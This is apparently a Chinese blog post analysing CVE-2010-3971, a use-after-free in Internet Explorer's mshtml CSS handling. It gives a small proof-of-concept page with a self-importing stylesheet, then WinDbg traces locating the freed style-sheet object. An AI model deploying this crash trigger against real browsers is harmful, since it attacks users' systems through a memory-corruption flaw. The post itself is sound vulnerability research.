CVE-2010-3971 CSS記憶體破壞漏洞分析

Ox9A82發表於2016-03-24

看了仙果版主的議題演講，其中提到cve-2010-3971是一個瀏覽器漏洞利用中的里程碑。於是找來POC，嘗試分析一下。

1.漏洞重現

XP SP3+ie6.0環境

poc如下：

poc.htm

<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />

css.css

*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");

2.漏洞分析

首先來看漏洞的相關資訊

可見是一個UAF漏洞。

用偵錯程式載入POC，偵錯程式斷在異常處。用IDA載入mshtml.dll檔案，異常位置如圖紅色部分

注意在這個函式裡我們可以看到ecx暫存器未經任何處理就直接拿來使用，說明這是thiscall函式呼叫。而ecx也就是物件的this指標。

異常是由cmp dword ptr [ecx+14h],1 觸發的，其中ecx地址不可讀

而ecx的值由edi指定的。再往上看edi又是由[ecx+0b8h]得到的。

繞了這麼一大圈，我們可以猜到：

ecx是this指標，edi是物件中的一個指標成員。

而由於UAF漏洞導致這個物件被釋放了，所以物件中的資料已經不可靠了，所以這個指標就是個野指標了，所以就會產生異常了。

最近學到了UAF漏洞的要點是搞清楚三點：1.物件何時何處被分配？ 2.物件何時何處被釋放？ 3.物件何時何處被重用？

這裡觸發異常明顯就是因為被重用了。那麼前兩點的答案呢？我們繼續分析。

我們理一理思路，考慮一下。此時這個函式發生異常，說明物件已經被釋放了，說明釋放操作就發生在當前步驟之前，就是說我們可以通過回溯找到釋放的操作。

事實的結果是回溯不到那個釋放的函式。說明我這個想法並不能成功，於是通過分析該物件（CStyleSheet）的方法來找出釋放的位置。

因為我們知道要想釋放這個物件肯定要使用這個物件自己的提供的方法，那麼就可以通過對釋放的方法下斷點來實現。

重新分析這個漏洞，win7 x86 +ie8環境。載入poc，程式崩潰。掛載windbg，啟用ust，開啟子程式除錯，發現異常資訊如下。

1:019> r
eax=00000000 ebx=17ef8f90 ecx=7770316f edx=00051078 esi=00000003 edi=1817cff0
eip=678b610d esp=045ed620 ebp=045ed62c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CSharedStyleSheet::Notify+0x1b:
678b610d 8b0f            mov     ecx,dword ptr [edi]  ds:0023:1817cff0=????????

看一下edi的來源問題，如下所示。可見edi來自於ecx+0xd8。又由於這是CSharedStyleSheet物件的一個方法函式，根據呼叫約定我們就可以知道，這個ecx就是物件的this指標。

1:019> ub 678b610d
mshtml!CSharedStyleSheet::Notify+0x6:
678b60f6 56              push    esi
678b60f7 8bb1d0000000    mov     esi,dword ptr [ecx+0D0h]
678b60fd 57              push    edi
678b60fe 8bb9d8000000    mov     edi,dword ptr [ecx+0D8h]
678b6104 33c0            xor     eax,eax
678b6106 c1ee02          shr     esi,2
678b6109 85f6            test    esi,esi
678b610b 7e12            jle     mshtml!CSharedStyleSheet::Notify+0x37 (678b611f)

為此，猜測edi是ecx物件的一個成員

1:019> dc ecx
7770316f  900008c2 90909090 8508458b c6850fc0  .........E......
7770317f  8000034b 7400e67d ccb7ff0b e8000000  K...}..t........
7770318f  ffff39ad 8c5d89c3 850fc085 fffffe26  .9....].....&...
7770319f  870fda3b fffffe16 04b04583 8bb0458b  ;........E...E..
777031af  e1eb4300 90909090 00b06890 d8680000  .C.......h....h.
777031bf  e8777008 ffff39f1 8bc45589 e05d89d9  .pw..9...U....].
777031cf  8941c933 45c6bc4d ff3300df 89d07d89  3.A.M..E..3..}..
777031df  7d89d87d 907d89a8 0f60c2f7 850f7d01  }..}..}...`..}..

為了驗證我們的猜想我們來看一下分配記錄，由分配的記錄來看我們可以這個是CSharedStyleSheet物件，其實作為CSharedStyleSheet::Notify的this指標傳進來的也只能是CSharedStyleSheet物件。

1:018> !heap -p -a ecx
    address 17590f08 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                178624ac:         17590f08               f8 -         17590000             2000
          mshtml!CSharedStyleSheet::`vftable'
    77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77737d96 ntdll!RtlpAllocateHeap+0x000000c4
    777034ca ntdll!RtlAllocateHeap+0x0000023a
    685144dc mshtml!CSharedStyleSheet::Create+0x00000023
    68513eaa mshtml!CStyleSheetArray::CreateNewStyleSheet+0x00000054
    685266a7 mshtml!CLinkElement::HandleLinkedObjects+0x0000032f
    68526576 mshtml!CLinkElement::Notify+0x0000011a
    6850780a mshtml!CHtmRootParseCtx::FlushNotifications+0x000001bf
    68506bb5 mshtml!CHtmRootParseCtx::Commit+0x0000000a
    684f77cf mshtml!CHtmPost::Broadcast+0x0000000f
    684f7924 mshtml!CHtmPost::Exec+0x00000255
    684f8a99 mshtml!CHtmPost::Run+0x00000015
    684f89fd mshtml!PostManExecute+0x000001fb
    684f7c66 mshtml!PostManResume+0x000000f7
    685113f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010
    684f53fc mshtml!CDwnChan::OnMethodCall+0x00000019
    685994b2 mshtml!GlobalWndOnMethodCall+0x000000ff
    685837f7 mshtml!GlobalWndProc+0x0000010c
    774286ef USER32!InternalCallWinProc+0x00000023
    77428876 USER32!UserCallWinProcCheckWow+0x0000014b
    774289b5 USER32!DispatchMessageWorker+0x0000035e
    77428e9c USER32!DispatchMessageW+0x0000000f
    6b9104a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452
    6b920446 IEFRAME!LCIETab_ThreadProc+0x000002c1
    76b749bd iertutil!CIsoScope::RegisterThread+0x000000ab
    768b1174 kernel32!BaseThreadInitThunk+0x0000000e
    7770b3f5 ntdll!__RtlUserThreadStart+0x00000070
    7770b3c8 ntdll!_RtlUserThreadStart+0x0000001b

edi的記憶體是不可訪的，如下所示

1:019> ? edi 
Evaluate expression: 404213744 = 1817cff0
1:019> dc edi
1817cff0  ???????? ???????? ???????? ????????  ????????????????
1817d000  ???????? ???????? ???????? ????????  ????????????????
1817d010  ???????? ???????? ???????? ????????  ????????????????
1817d020  ???????? ???????? ???????? ????????  ????????????????
1817d030  ???????? ???????? ???????? ????????  ????????????????
1817d040  ???????? ???????? ???????? ????????  ????????????????
1817d050  ???????? ???????? ???????? ????????  ????????????????
1817d060  ???????? ???????? ???????? ????????  ????????????????
1:019> !address edi
 ProcessParametrs 00059840 in range 00059000 0005a000
 Environment 000577b0 in range 00057000 00058000
    18120000 : 1817c000 - 00001000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000001 PAGE_NOACCESS
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageIsVAD

到這裡其實有點迷茫，因為edi的記憶體屬性不是未分配的，而是已經VAD分配的，但是卻沒有訪問許可權。那麼看下是不是已釋放導致的沒有訪問許可權，也就是啟用堆除錯才會有的東西。
嘗試!heap -p -a一下看看。如下，果然是已經釋放的堆記憶體。

1:019> !heap -p -a edi
    address 1817cff0 found in
    _DPH_HEAP_ROOT @ 51000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   17e4298c:         1817c000             2000
    778890b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77775674 ntdll!RtlDebugFreeHeap+0x0000002f
    77737aca ntdll!RtlpFreeHeap+0x0000005d
    77702d68 ntdll!RtlFreeHeap+0x00000142
    76ef3cab ole32!MIDL_user_free+0x00000016
    75ad0224 RPCRT4!NdrFreeTypeMemory+0x00000046
    75abf26b RPCRT4!NdrPointerFree+0x000000a8
    75b34e9e RPCRT4!NdrpFreeParams+0x00000145
    75b34949 RPCRT4!NdrpCompleteAsyncServerCall+0x00000145
    75b35494 RPCRT4!Ndr64pCompleteAsyncCall+0x00000084
    75b35422 RPCRT4!RpcAsyncCompleteCall+0x0000001f
    76ea21af ole32!_UpdateResolverBindings+0x00000052
    75acfc8f RPCRT4!Invoke+0x0000002a
    75b347ea RPCRT4!NdrAsyncServerCall+0x000001e4
    75acf34a RPCRT4!DispatchToStubInCNoAvrf+0x0000004a
    75b0fb70 RPCRT4!DispatchToStubInCAvrf+0x00000016
    75acf4da RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000016c
    75acf3c6 RPCRT4!RPC_INTERFACE::DispatchToStub+0x0000008b
    75ac3974 RPCRT4!LRPC_SCALL::DispatchRequest+0x00000257
    75acf7a4 RPCRT4!LRPC_SCALL::QueueOrDispatchCall+0x000000bd
    75acf763 RPCRT4!LRPC_SCALL::HandleRequest+0x0000034f
    75acf5ff RPCRT4!LRPC_SASSOCIATION::HandleRequest+0x00000144
    75acf573 RPCRT4!LRPC_ADDRESS::HandleRequest+0x000000bd
    75acee4f RPCRT4!LRPC_ADDRESS::ProcessIO+0x0000050a
    75acece7 RPCRT4!LrpcServerIoHandler+0x00000016
    75ad1357 RPCRT4!LrpcIoComplete+0x00000016
    776dd3a3 ntdll!TppAlpcpExecuteCallback+0x000001c5
    776e0748 ntdll!TppWorkerThread+0x000005a4
    768b1174 kernel32!BaseThreadInitThunk+0x0000000e
    7770b3f5 ntdll!__RtlUserThreadStart+0x00000070
    7770b3c8 ntdll!_RtlUserThreadStart+0x0000001b

附此漏洞的有關資訊：

1.http://www.topsec.com.cn/aqtb/yjcg/ldyj/967.htm 天融信的分析報告

2.http://cve.scap.org.cn/cve-2010-3971.html SCAP的收錄

CVE-2010-3974 Microsoft Windows多個平臺Fax Cover Page Editor記憶體破壞漏洞
2016-07-29
ROSWindows記憶體
微軟發現一個 ChromeOS 遠端記憶體損壞漏洞
2022-11-19
微軟Chrome記憶體
CWE公佈最新25個危險軟體漏洞列表記憶體損壞漏洞居首位
2021-07-26
記憶體
CVE-2013-3346Adobe Reader和Acrobat 記憶體損壞漏洞分析
2016-08-01
BAT記憶體
記憶體分析與記憶體洩漏定位
2017-11-03
記憶體
Ubuntu記憶體分析
2019-01-22
Ubuntu記憶體
JVM記憶體分析
2018-05-27
JVM記憶體
深信服EDR快速釋出Windows condrv.sys記憶體損壞漏洞防護
2021-01-21
Windows記憶體
關於redis記憶體分析，記憶體優化
2020-05-16
Redis記憶體優化
學術成果｜安芯網盾《基於記憶體保護技術的二進位制記憶體破壞型漏洞攻擊防護方法研究》論文入選資訊保安研究期刊
2022-07-15
記憶體
Swoole 原始碼分析——記憶體模組之記憶體池
2018-08-03
原始碼記憶體
記憶體效能分析工具
2019-02-20
記憶體
nginx共享記憶體分析
2019-02-11
Nginx記憶體
Java 物件記憶體分析
2020-12-03
Java物件記憶體
Go記憶體逃逸分析
2022-02-28
Go記憶體
swoole記憶體管理分析
2017-04-03
記憶體
Oracle記憶體全面分析
2017-04-21
Oracle記憶體
轉：Oracle 記憶體分析
2012-12-24
Oracle記憶體
Java記憶體分析一
2015-10-26
Java記憶體
Unity效能分析（三）記憶體分析
2024-04-30
Unity記憶體
css記憶
2016-03-09
CSS
valgrind 記憶體洩漏分析
2021-05-17
記憶體
Lowmemorykiller記憶體洩露分析
2018-11-15
記憶體洩露
SQLServer記憶體問題分析
2020-11-18
SQLServer記憶體
Go記憶體管理逃逸分析
2023-03-15
Go記憶體
Windows記憶體管理分析（一）
2018-03-21
Windows記憶體
Windows記憶體管理分析（二）
2018-03-21
Windows記憶體
Weex-iOS 記憶體分析
2017-09-06
iOS記憶體
Linux 使用記憶體分析
2014-01-16
Linux記憶體
JVM記憶體分析工具使用
2015-03-11
JVM記憶體
Oracle記憶體全面分析(ZT)
2008-07-01
Oracle記憶體
記憶體溢位的分析
2012-02-17
記憶體溢位
free命令可用記憶體分析
2012-02-23
記憶體
AIX下程式記憶體分析
2009-07-29
AI記憶體
Linux記憶體洩露案例分析和記憶體管理分享
2022-11-16
Linux記憶體洩露
pprof 分析mysqld 記憶體呼叫（筆記）
2021-12-14
MySql記憶體筆記
記錄node記憶體瓶頸分析
2018-03-23
記憶體
（驚呆）java反序列化漏洞—被低估的破壞之王
2015-11-14
Java

CVE-2010-3971 CSS記憶體破壞漏洞分析

1.漏洞重現

2.漏洞分析

相關文章